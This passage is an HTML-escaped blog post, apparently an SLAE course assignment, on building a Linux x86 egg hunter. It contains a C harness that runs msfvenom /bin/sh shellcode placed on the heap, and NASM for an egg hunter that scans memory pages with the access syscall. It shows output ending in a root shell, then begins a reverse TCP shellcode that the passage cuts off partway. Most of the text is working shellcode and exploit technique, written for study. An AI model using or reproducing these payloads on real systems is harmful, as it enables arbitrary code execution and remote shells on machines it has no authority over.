&lt;p&gt;Our three first segments are respectively the .text, .data, .bss segment. As we can see, we have no unreadable spaces between them. If a memory segment was unreadable, we would have had a segmentation fault (SIGSEGV - Signal Segmentation Violation).&lt;/p&gt;

&lt;p&gt;Let’s try now to place our egg shellcode in the heap space (we keep the same egg hunter):&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#define EGGMARK &quot;\x50\x90\x50\x90&quot;
&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;egghunter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; \
&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xb8\x60\x80\x04\x08\xbb\x91\x50\x90\x50\x4b\x40\x39\x18\x75\xfb\xff\xe0&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;egg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; \
&lt;span class=&quot;n&quot;&gt;EGGMARK&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xbd\x64\xb2\x0c\xf4\xda\xc2\xd9\x74\x24\xf4\x5a\x31\xc9\xb1&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// msfvenom -p linux/x86/exec CMD=/bin/sh -f c -b \x00&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x0b\x83\xc2\x04\x31\x6a\x11\x03\x6a\x11\xe2\x91\xd8\x07\xac&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xc0\x4f\x7e\x24\xdf\x0c\xf7\x53\x77\xfc\x74\xf4\x87\x6a\x54&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x66\xee\x04\x23\x85\xa2\x30\x3b\x4a\x42\xc1\x13\x28\x2b\xaf&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x44\xdf\xc3\x2f\xcc\x4c\x9a\xd1\x3f\xf2&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

	&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shellcode_heap&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;malloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;egg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// shellcode egg + egg mark&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;memcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shellcode_heap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;egg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;egg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Egg hunter shellcode Length:  %d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;egghunter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Egg shellcode Length:  %d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shellcode_heap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;

	&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)())&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;egghunter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Running and executing it:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# ./shellcode_heap&lt;/span&gt;
Egg hunter shellcode Length:  18
Egg shellcode Length:  74
Erreur de segmentation
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We met a segmentation violation because our egg hunter is facing a memory access violation.&lt;br /&gt;
However a technique consists in using the &lt;strong&gt;access&lt;/strong&gt; system call that originally check users permissions for a file. Giving our memory address as the first argument, we will be able to check if a memory page is accessible. If not, the syscall will return EFAULT (14) into EAX:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;int access(const char *pathname, int mode);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Syscall number:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#define __NR_access 33
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Dans /usr/include/asm-generic/errno-base.h:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#define	EFAULT		14	/* Bad address */
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We will go through the memory pages and parse each readable memory page in order to look for our egg shellcode.&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# getconf PAGE_SIZE&lt;/span&gt;
4096
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here is what our new egg hunter looks like:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;global&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_start&lt;/span&gt;
 
&lt;span class=&quot;nf&quot;&gt;section&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;.text&lt;/span&gt;
 
&lt;span class=&quot;nl&quot;&gt;_start:&lt;/span&gt;

        &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; ecx zeroed out&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;mul&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; clear eax, edx&lt;/span&gt;

 &lt;span class=&quot;nl&quot;&gt;next_page:&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xfff&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;; 0x1000 - 1 (4095)&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x50905091&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;dec&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;next_addr:&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;inc&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; +1 so we move to the next 4096 bytes (next page)&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x21&lt;/span&gt;      &lt;span class=&quot;c1&quot;&gt;; access syscall&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;pop&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80&lt;/span&gt;
 
        &lt;span class=&quot;nf&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xf2&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; check for EFAULT&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;je&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_start&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;; if EFAULT, we are going to the nextpage&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; our egg mark&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;jne&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;next_addr&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;; we are parsing the readable memory page&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;lea&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;; @ of the shellcode&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;jmp&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Replacing the egg hunter in our &lt;a href=&quot;https://github.com/phackt/slae/blob/master/assignment3/shellcode_heap.c&quot;&gt;shellcode_heap.c&lt;/a&gt; with the above egg hunter shellcode, compiling and executing provides:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# gcc -fno-stack-protector -z execstack -o shellcode_heap shellcode_heap.c  &amp;amp;&amp;amp; ./shellcode_heap&lt;/span&gt;
Egg hunter shellcode Length:  34
Egg shellcode Length:  74
&lt;span class=&quot;c&quot;&gt;# id  &lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can try with any egg shellcode you want and set it just after the EGG variable.  Let’s try with a TCP reverse shellcode:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f c -b \x00&lt;/span&gt;
...
unsigned char buf[] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 
&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;bb&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;6d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ed&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;21&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cf&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;d9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;74&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f4&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;5a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;33&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b1&quot;&lt;/span&gt;
&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;5a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;83&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ea&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;fc&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;37&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f4&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f6&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f4&quot;&lt;/span&gt;
&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ab&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;95&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;a8&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;49&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;93&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ae&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f5&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;2b&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;6e&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;65&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ea&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c0&quot;&lt;/span&gt;
&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;8e&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;44&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;8c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;68&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;88&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;af&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e4&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;6a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f5&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;81&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;68&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e4&quot;&lt;/span&gt;
&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;0d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e4&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b6&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c8&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;a6&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e5&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;a7&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;44&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;0a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e8&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;05&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ca&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;5e&quot;&lt;/span&gt;
&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;82&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;fb&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e4&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;2d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;3a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;6c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;d4&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;fe&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;d8&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;05&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;a3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e2&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;4e&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;85&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;3a&quot;&lt;/span&gt;
